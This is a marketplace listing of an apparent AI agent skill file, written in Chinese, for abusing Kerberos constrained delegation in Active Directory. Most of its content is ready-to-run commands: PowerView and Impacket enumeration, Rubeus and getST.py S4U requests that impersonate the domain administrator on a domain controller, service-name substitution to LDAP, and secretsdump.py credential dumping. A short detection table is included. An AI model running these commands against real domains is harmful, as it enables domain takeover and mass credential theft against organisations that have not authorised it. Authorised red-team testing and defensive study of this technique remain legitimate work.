L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-constrained-delegation-abuse

exploiting-constrained-delegation-abuse

利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-constrained-delegation-abuse description: 利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。 domain: cybersecurity subdomain: red-teaming tags: [red-team, active-directory, kerberos, constrained-delegation, s4u2proxy, privilege-escalation, lateral-movement] version: "1.0" author: mahipal license: Apache-2.0

利用约束委派滥用漏洞

概述

Kerberos 约束委派(KCD)是一种 Windows 活动目录功能,允许服务模拟用户并代表其访问特定服务。委派目标在 msDS-AllowedToDelegateTo 属性中定义。当攻击者控制了配置了约束委派(特别是带有 TRUSTED_TO_AUTH_FOR_DELEGATION 标志)的账户时,他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户(包括域管理员)身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务,则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据,S4U2proxy 将该票据转发到允许的委派目标。

目标

  • 枚举域中配置了约束委派的账户
  • 识别高价值服务的委派目标(msDS-AllowedToDelegateTo)
  • 利用 S4U2self 和 S4U2proxy 模拟域管理员
  • 以特权用户身份获取委派服务的服务票据
  • 访问目标主机上的委派服务(CIFS、LDAP、HTTP)
  • 通过约束委派滥用提升至域管理员

MITRE ATT&CK 映射

  • T1558.003 - 窃取或伪造 Kerberos 票据:Kerberoasting
  • T1550.003 - 使用替代认证材料:票据传递
  • T1134.001 - 访问令牌操控:令牌模拟/盗窃
  • T1078.002 - 有效账户:域账户
  • T1021 - 远程服务

实施步骤

阶段一:枚举约束委派

  1. 使用 PowerView 查找具有约束委派的账户:
    # 查找具有约束委派的用户
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # 查找具有约束委派的计算机
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # 使用 AD 模块
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. 使用 Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. 使用 BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. 检查 TRUSTED_TO_AUTH_FOR_DELEGATION 标志(协议转换):
    # UserAccountControl 标志 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    

阶段二:使用 Rubeus 利用(Windows)

  1. 如果您拥有约束委派账户的密码或哈希:
    # 为约束委派账户请求 TGT
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # 执行 S4U2self + S4U2proxy 以模拟 administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # 替代方案:指定替代服务名称
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. 在单个命令中组合 TGT 请求和 S4U:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    

阶段三:使用 Impacket 利用(Linux)

  1. 通过 S4U 协议扩展请求服务票据:
    # 使用 getST.py 和 S4U
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    # 使用哈希代替密码
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
      -dc-ip 10.10.10.1 domain.local/svc_sql
    
    # 使用获得的票据
    export KRB5CCNAME=administrator.ccache
    smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
    

阶段四:替代服务名称滥用

  1. Kerberos 服务票据不针对票据中的 SPN 进行验证,允许 SPN 替换:
    # 请求 CIFS 票据,然后用于 LDAP(DCSync)
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -altservice LDAP/DC01.domain.local \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
  2. 该技术之所以有效,是因为票据中的服务名称不与会话密钥进行密码学绑定

阶段五:协议转换攻击

  1. 如果账户具有 TRUSTED_TO_AUTH_FOR_DELEGATION:
    # S4U2self 无需用户认证即可获取可转发的票据
    # 这意味着我们可以在不知道用户密码的情况下模拟任何用户
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
  2. 没有 TRUSTED_TO_AUTH_FOR_DELEGATION 时,S4U2self 票据不可转发,S4U2proxy 将失败(除非使用基于资源的约束委派)

工具与资源

工具用途平台
RubeusS4U Kerberos 票据操控Windows(.NET)
getST.pyS4U 服务票据请求(Impacket)Linux(Python)
findDelegation.py委派枚举(Impacket)Linux(Python)
PowerViewAD 委派枚举Windows(PowerShell)
BloodHound CE可视化委派路径分析Docker
Kekeo高级 Kerberos 工具包Windows

委派类型对比

类型属性范围攻击复杂性
非约束委派TRUSTED_FOR_DELEGATION任意服务低(捕获 TGT)
约束委派msDS-AllowedToDelegateTo特定 SPN中(S4U 滥用)
约束委派 + 协议转换+ TRUSTED_TO_AUTH_FOR_DELEGATION特定 SPN中(不需要用户认证)
基于资源的约束委派(RBCD)msDS-AllowedToActOnBehalfOfOtherIdentity在目标上中(可写属性)

检测特征

指标检测方法
S4U2self 票据请求带异常服务和模拟的事件 4769
S4U2proxy 转发的票据带委派标志的事件 4769
票据中的替代服务名称请求的 SPN 与实际服务访问之间的不匹配
Rubeus.exe 执行EDR 进程检测、命令行日志
委派配置更改msDS-AllowedToDelegateTo 修改的事件 5136

验证标准

  • 已枚举具有约束委派的账户
  • 已识别委派目标(msDS-AllowedToDelegateTo)
  • 已获取目标用户的 S4U2self 票据
  • 已将 S4U2proxy 票据转发到委派目标
  • 已验证对委派服务的特权访问
  • 已测试替代服务名称替换
  • 已评估协议转换能力
  • 已记录包含票据导出和访问证明的证据
Skills enregistrées